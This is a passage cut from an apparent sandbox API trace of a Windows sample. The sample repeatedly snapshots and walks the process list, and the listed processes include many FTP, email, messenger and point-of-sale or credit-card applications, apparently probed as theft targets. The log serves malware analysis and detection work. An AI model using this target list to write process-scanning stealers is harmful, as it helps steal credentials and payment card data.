th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0262.206] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0262.257] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0262.259] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0262.260] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0262.261] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0262.263] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0262.264] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0262.266] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0262.267] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0262.269] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0262.271] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0262.272] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0262.274] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0262.276] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0262.278] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0262.280] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0262.282] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0262.284] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0262.287] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0262.288] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0262.290] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0262.292] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0262.294] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0262.296] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0262.334] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0262.336] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0262.338] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0262.340] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0262.342] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0262.344] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0262.346] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0262.348] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0262.350] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0262.352] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0262.354] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0262.355] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0262.357] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0262.359] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0262.361] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0262.362] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0262.364] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0262.366] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0262.453] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0262.455] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0262.457] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0262.458] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0262.460] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0262.461] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0262.463] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0262.465] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0262.466] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0262.468] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0262.469] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0262.471] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0262.472] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0262.474] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0262.476] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.477] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.479] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.480] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0262.483] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0262.484] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.486] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0262.536] CloseHandle (hObject=0x1024) returned 1 [0262.536] Sleep (dwMilliseconds=0x64) [0262.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0262.608] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.610] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.611] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.613] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.614] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.616] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.617] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.618] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.620] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.621] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.622] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.624] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.625] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.626] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.684] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.686] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.688] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.689] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.691] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.692] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.693] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, 